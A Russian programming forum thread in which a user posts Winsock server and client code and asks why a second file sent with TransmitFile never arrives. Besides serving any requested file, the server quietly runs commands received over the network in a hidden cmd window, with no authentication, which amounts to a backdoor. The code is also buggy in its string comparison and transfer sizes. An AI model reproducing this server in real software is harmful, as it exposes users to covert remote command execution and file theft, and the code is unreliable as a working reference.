Модераторы: feodorv
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> передача файлов с помощью transmitfile 
:(
    Опции темы
Nikita0007
Дата 7.11.2010, 22:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 52
Регистрация: 23.4.2010

Репутация: нет
Всего: нет



ребят помогите пожалуйста, подскажите почему у меня когда я начинаю передавать файлы с серва на клиент у меня первый файл идет хорошо а если я запрашиваю еще один файл у сервера то он уже его не присылает.
Вот код серва:
Код

SOCKET sock,client;
struct sockaddr_in addr;
int rc=NO_ERROR;
WSADATA wsa;
err=0;
addr.sin_family=AF_INET;
addr.sin_port=htons(7501);
addr.sin_addr.s_addr=htonl(INADDR_ANY);
err=WSAStartup(MAKEWORD(2,2),&wsa);
if(err!=0)
printf("Error in WSAStartup\n");
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(INVALID_SOCKET==sock)
{
printf("Error in socket: %ld\n",WSAGetLastError());
WSACleanup();
return EXIT_FAILURE;
}
if (bind(sock,(SOCKADDR*)&addr,sizeof(addr))==SOCKET_ERROR)
{
printf("Error in bind\n");
closesocket(sock);
WSACleanup();
return EXIT_FAILURE;
}
rc=listen(sock,10);
if(rc==SOCKET_ERROR)
{
printf("Error in listen\n");
closesocket(sock);
WSACleanup();
return EXIT_FAILURE;
}
client=accept(sock,NULL,NULL);
if(client<0)
{
printf("Error in accept\n");
closesocket(client);
WSACleanup();
return EXIT_FAILURE;
}
char buf[256];
char cmd[]="opencmd";
char file[]="pleasefile";
char not_found[]="notfound";
while(1)
{
rc=recv(client,buf,sizeof(buf),0);
printf("recv-%s\n",buf);
printf("recv-%d\n",rc);
if (sravneniestrok(buf,cmd)==0)
{
memset(buf,0,sizeof(char)*256);
rc=recv(client,buf,sizeof(buf),0);
printf("recv-%s",buf);
ShellExecute(0,0,"cmd",buf,NULL,SW_HIDE);
}
else if(sravneniestrok(buf,file)==0)
{
memset(buf,0,sizeof(char)*256);
rc=recv(client,buf,sizeof(buf),0);
printf("%s",buf);
wchar_t str[1024];
char Acp[1024];
int x=MultiByteToWideChar(CP_OEMCP,0,buf,-1,(LPWSTR)&str,0);
MultiByteToWideChar(CP_OEMCP,0,buf,-1,(LPWSTR)&str,x);
int a=WideCharToMultiByte(CP_ACP,0,str,-1,NULL,0,NULL,NULL);
WideCharToMultiByte(CP_ACP,0,str,-1,Acp,a,NULL,NULL);
hFile=CreateFile(Acp,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile!=INVALID_HANDLE_VALUE)
{
DWORD siz=GetFileSize(hFile,&hsize);
char l[20];
_ultoa(siz,l,10);
int h=send(client,l,strlen(l),0);
if (h<0)
printf( "Error socket!: %ld\n", WSAGetLastError());
else
TransmitFile(client,hFile,0,siz/20,NULL,0,0);
}
else
{
printf("Error in open file\n");
send(client,not_found,strlen(not_found),0);
}
}
memset(buf,0,sizeof(char)*256);
}
closesocket(client);
WSACleanup();
return 0;

вот код клиента:
Код

#include <stdio.h>
#include <string.h>
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#include <Mswsock.h>
using namespace std;
int sravneniestrok(char*a,char*b)
{
int i;
int n;
int c;
c=0;
for (i=0;i<strlen(b);i++)
{
if (a[i]==b[i])
n=0;
else
c=1;
i=i+strlen(b);
}
return c;
}

int main(int argc, char* argv[])
{
HANDLE hFile;
DWORD vwCounter;
OFSTRUCT tOfStr;
    HANDLE hThread;
    DWORD dwThreadId;
    SOCKET NewSocket;
    SOCKADDR_IN rmaddr;
    WSADATA wsa;
    int err,error;
    char s[256];
    char buf[5120];
    char result[256];
    int rc=NO_ERROR;
    char file[]="pleasefile";
    err=WSAStartup(MAKEWORD(2,2), &wsa);
    if (err!=0)
    {
    printf("Error in WSAStartup\n");
    _getch();
    }
    NewSocket = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
    rmaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    rmaddr.sin_family = AF_INET;
    rmaddr.sin_port = htons(7501);
if(connect(NewSocket,(struct sockaddr *)&rmaddr,sizeof(rmaddr))==SOCKET_ERROR)
{
printf("Error in connect\n");
_getch();
}
else
printf("connect\n");
    while (1)
{
fflush(stdin);
gets(s);
error=send(NewSocket,s,strlen(s),0);
if(SOCKET_ERROR==error)
printf("Error in send\n");
else 
printf("%d\n",error);

if (sravneniestrok(s,file)==0)
{
memset(buf,0,sizeof(char)*5120);
fflush(stdin);
gets(s);
printf("%s\n",s);
send(NewSocket,s,strlen(s),0);
rc=recv(NewSocket,buf,5,0);
printf("%d\n",rc);
int sz=atoi(buf);
printf("%d\n",sz);
int g;
g=0;
int i;
i=strlen(s);
while (s[i]!='\\')
{
g++;
i=i-1;
}
int j=0;
for (i=strlen(s)-g+1;i<=strlen(s);i++)
{
result[j]=s[i];
j++;
}
printf("%s",result);
wchar_t str[1024];
char Acp[1024];
int x=MultiByteToWideChar(CP_OEMCP,0,result,-1,(LPWSTR)&str,0);
MultiByteToWideChar(CP_OEMCP,0,result,-1,(LPWSTR)&str,x);
int a=WideCharToMultiByte(CP_ACP,0,str,-1,NULL,0,NULL,NULL);
WideCharToMultiByte(CP_ACP,0,str,-1,Acp,a,NULL,NULL);
if(sz==0)
{
rc=recv(NewSocket,buf,20,0);
printf("file not found");
}
else
{
hFile=CreateFile(Acp,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_WRITE | FILE_SHARE_READ,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,0);
if(hFile!=INVALID_HANDLE_VALUE)
hFile=CreateFile(Acp,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_WRITE | FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile!=INVALID_HANDLE_VALUE)
rc=1;
while(rc>0)
{
rc=recv(NewSocket,buf,sz/20,0);
WriteFile(hFile,&buf,sz/20,&vwCounter,NULL);
}
CloseHandle(hFile);
}
}
}
    closesocket(NewSocket);
    return 0;
}

PM MAIL   Вверх
FuntikPIG
Дата 8.11.2010, 00:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 5.11.2010

Репутация: нет
Всего: нет



извини , но у меня несколько вопросов к тебе:
1) не мог бы ты отдельно написать передачу и прием
2) ты тестил на одной машине или в сети
3)какова размера файлы ты передаешь
вроде все...заранее спасибо)

Добавлено через 1 минуту и 2 секунды
а нет..еще какой формат файлов
PM MAIL ICQ   Вверх
Nikita0007
Дата 8.11.2010, 08:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 52
Регистрация: 23.4.2010

Репутация: нет
Всего: нет



передача идет на одной машине файлы около 500 мб передаю как бинарные так и текстовые. А прием и передачу я ж уже написал в прошлом сообщении там где серв там передача а где клиент прием.
PM MAIL   Вверх
FuntikPIG
Дата 8.11.2010, 09:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 5.11.2010

Репутация: нет
Всего: нет



попробуй сработает ли эта передача в сети...просто у меня возникали проблемы и интересн твой код сработает или нет...как у тебя серв определяет что надо еще слать?
PM MAIL ICQ   Вверх
Nikita0007
Дата 8.11.2010, 16:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 52
Регистрация: 23.4.2010

Репутация: нет
Всего: нет



а там трансмит файл функция  в ней есть параметр типа отсылать полный файл или нет и какими частями файл посылать там же этим отправка и контролируется
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Сети | Следующая тема »


 




[ Время генерации скрипта: 0.3928 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.